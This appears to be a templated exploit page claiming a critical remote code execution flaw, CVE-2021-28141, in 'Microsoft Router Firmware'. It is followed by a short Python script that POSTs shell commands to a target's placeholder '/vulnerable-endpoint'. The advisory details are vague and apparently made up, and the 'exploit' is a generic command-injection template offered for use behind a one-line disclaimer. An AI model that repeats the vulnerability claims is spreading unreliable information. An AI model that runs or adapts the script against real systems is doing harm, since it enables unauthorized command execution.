Critical Severity
CVE-2021-28141
Published: Aug 14, 2025
This exploit targets a rce vulnerability in Microsoft Router Firmware.
The vulnerability allows an attacker to:
- Execute arbitrary code remotely
- Gain system-level access
- Install malware or backdoors
This vulnerability has been assigned CVE-2021-28141 with a CVSS score of 9.8.
Microsoft Router Firmware versions prior to latest security update
#!/usr/bin/env python3
import requests
import sys
def exploit_rce(target_url):
"""
Remote Code Execution Exploit
Educational purposes only - do not use against systems you do not own
"""
payload = {
"cmd": "id; whoami; pwd",
"action": "execute"
}
try:
response = requests.post(f"{target_url}/vulnerable-endpoint", data=payload)
if response.status_code == 200:
print("[+] Command executed successfully:")
print(response.text)
else:
print("[-] Exploit failed")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target_url>")
sys.exit(1)
target = sys.argv[1]
exploit_rce(target)